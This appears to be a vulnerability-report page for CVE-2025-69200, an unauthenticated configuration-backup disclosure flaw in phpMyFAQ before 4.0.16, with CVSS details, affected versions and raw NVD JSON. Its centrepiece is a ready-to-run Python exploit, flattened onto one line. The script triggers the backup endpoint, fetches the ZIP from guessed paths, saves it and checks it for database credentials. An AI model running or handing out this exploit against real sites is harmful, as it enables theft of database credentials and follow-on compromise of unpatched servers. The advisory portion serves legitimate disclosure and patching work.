Security Vulnerability Report
中文
CVE-2025-69200 CVSS 7.5 HIGH

CVE-2025-69200

Published: 2025-12-29 16:15:44
Last Modified: 2026-01-07 15:35:11

Description

phpMyFAQ is an open source FAQ web application. In versions prior to 4.0.16, an unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise. Version 4.0.16 fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:rc:*:*:*:*:*:* - VULNERABLE
phpMyFAQ < 4.0.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import uuid # CVE-2025-69200 PoC - phpMyFAQ Configuration Backup Information Disclosure # Target: phpMyFAQ < 4.0.16 # Vulnerability: Unauthenticated remote attacker can trigger backup generation and download sensitive config files def exploit_phpMyFAQ(target_url): """ Exploit for CVE-2025-69200 Step 1: Trigger backup generation via POST /api/setup/backup Step 2: Download the generated ZIP from web-accessible location """ # Remove trailing slash if present target_url = target_url.rstrip('/') # Step 1: Trigger backup generation backup_endpoint = f"{target_url}/api/setup/backup" print(f"[*] Triggering backup generation at: {backup_endpoint}") try: response = requests.post(backup_endpoint, timeout=30) print(f"[+] Backup request status: {response.status_code}") # Step 2: Try to download the backup ZIP # Common backup file paths in phpMyFAQ backup_paths = [ f"{target_url}/content/backup/config/backup.zip", f"{target_url}/backup.zip", f"{target_url}/content/backup.zip", f"{target_url}/api/setup/backup/download" ] for path in backup_paths: print(f"[*] Trying to download backup from: {path}") zip_response = requests.get(path, timeout=30) if zip_response.status_code == 200 and zip_response.headers.get('content-type', '').find('zip') >= 0: print(f"[!] Backup file found: {path}") # Save the backup file filename = f"backup_{uuid.uuid4().hex[:8]}.zip" with open(filename, 'wb') as f: f.write(zip_response.content) print(f"[+] Backup saved to: {filename}") # Check for sensitive files in backup if b'database.php' in zip_response.content or b'<?php' in zip_response.content: print("[!] WARNING: Backup contains PHP config files with potential credentials!") return True print("[-] Could not find downloadable backup file") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/phpmyfaq") sys.exit(1) exploit_phpMyFAQ(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69200", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:43.793", "lastModified": "2026-01-07T15:35:10.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. In versions prior to 4.0.16, an unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise. Version 4.0.16 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-202"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.16", "matchCriteriaId": "7AF9CDFC-4D83-4ACE-93A6-49FC42DFE5D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:rc:*:*:*:*:*:*", "matchCriteriaId": "C2C7FC83-7A47-4046-8DE0-F0B81BFF2DDD"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}